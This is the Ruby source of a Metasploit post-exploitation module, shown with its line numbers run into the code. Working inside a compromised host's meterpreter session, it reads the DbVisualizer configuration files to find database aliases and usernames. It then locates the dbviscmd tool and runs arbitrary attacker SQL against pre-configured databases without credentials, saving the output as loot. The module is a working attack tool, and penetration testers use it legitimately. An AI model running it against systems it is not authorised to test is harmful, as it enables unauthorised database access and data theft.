Path: blob/master/modules/post/multi/manage/dbvis_query.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage DbVisualizer Query',14'Description' => %q{15Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases16(With GUI). The remote database can be accessed from the command line without the need17to authenticate, and this module abuses this functionality to query and will store the18results.1920Please note: backslash quotes and your (stacked or not) queries should21end with a semicolon.22},23'License' => MSF_LICENSE,24'Author' => [ 'David Bloom' ], # Twitter: @philophobia7825'References' => [26['URL', 'http://youtu.be/0LCLRVHX1vA']27],28'Platform' => %w[linux win],29'SessionTypes' => [ 'meterpreter' ],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_fs_stat34stdapi_sys_config_getenv35]36}37},38'Notes' => {39'Stability' => [CRASH_SAFE],40'SideEffects' => [],41'Reliability' => []42}43)44)45register_options(46[47OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),48OptString.new('QUERY', [true, 'The query you want to execute on the remote database', '']),49]50)51end5253def run54db_type = exist_and_supported5556return if db_type.blank?5758dbvis = find_dbviscmd5960return if dbvis.blank?6162dbvis_query(dbvis, datastore['QUERY'])63end6465# Check if the alias exist and if database is supported by this script66def exist_and_supported67case session.platform68when 'linux'69user = session.shell_command('whoami')70print_status("Current user is #{user}")7172if (user =~ /root/)73user_base = '/root/'74else75user_base = "/home/#{user}/"76end7778dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"79when 'windows'80user_profile = session.sys.config.getenv('USERPROFILE')81dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"82end8384unless file?(dbvis_file)85# File not found, we next try with the old config path86print_status("File not found: #{dbvis_file}")87print_status('This could be an older version of dbvis, trying old path')8889case session.platform90when 'linux'91dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"92when 'windows'93dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"94end9596unless file?(dbvis_file)97print_error("File not found: #{dbvis_file}")98return99end100end101102print_status("Reading : #{dbvis_file}")103raw_xml = ''104begin105raw_xml = read_file(dbvis_file)106rescue EOFError => e107vprint_error(e.message)108end109110if raw_xml.blank?111print_error("Nothing read from file: #{dbvis_file}, file may be empty")112return113end114115db_found = false116alias_found = false117db_type = nil118119# fetch config file120raw_xml.each_line do |line|121if line =~ /<Database id=/122db_found = true123elsif line =~ %r{</Database>}124db_found = false125end126127next unless db_found == true128129# checkthe alias130if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))131alias_found = true132print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")133end134135if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found136print_good("Username for this connection : #{::Regexp.last_match(1)}")137end138139# check the type140if (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found141db_type = ::Regexp.last_match(1)142alias_found = false143end144end145if db_type.blank?146print_error('Database alias not found in dbvis.xml')147end148return db_type # That is empty if DB is not supported149end150151# Find path to dbviscmd.sh|bat152def find_dbviscmd153case session.platform154when 'linux'155dbvis = session.shell_command('locate dbviscmd.sh').chomp156if dbvis.blank?157print_error('dbviscmd.sh not found')158return nil159end160print_good("Dbviscmd found : #{dbvis}")161when 'windows'162# Find program files163progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')164progfiles_x86 = progfiles_env['ProgramFiles(X86)']165if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)166program_files = progfiles_x86 # x64167else168program_files = progfiles_env['ProgramFiles'] # x86169end170dirs = []171session.fs.dir.foreach(program_files) do |d|172dirs << d173end174dbvis_home_dir = nil175# Browse program content to find a possible dbvis home176dirs.each do |d|177if (d =~ /DbVisualizer[\S+\s+]+/i)178dbvis_home_dir = d179end180end181if dbvis_home_dir.blank?182print_error('Dbvis home not found, maybe uninstalled ?')183return nil184end185dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"186unless file?(dbvis)187print_error('dbviscmd.bat not found')188return nil189end190print_good("Dbviscmd found : #{dbvis}")191end192return dbvis193end194195# Query execution method196def dbvis_query(dbvis, sql)197unless file?(dbvis)198print_error("#{dbvis} is not a file")199return200end201202f = session.fs.file.stat(dbvis)203if (f.uid == Process.euid) || Process.groups.include?(f.gid)204print_status('Trying to execute evil sql, it can take time ...')205args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""206dbvis = "\"#{dbvis}\""207cmd = "#{dbvis} #{args}"208resp = cmd_exec(cmd)209print_line('')210print_line(resp.to_s)211# store qury and result212p = store_loot(213'dbvis.query',214'text/plain',215session,216resp.to_s,217'dbvis_query.txt',218'dbvis query'219)220print_good("Query stored in: #{p}")221else222print_error("User doesn't have enough rights to execute dbviscmd, aborting")223end224end225end226227228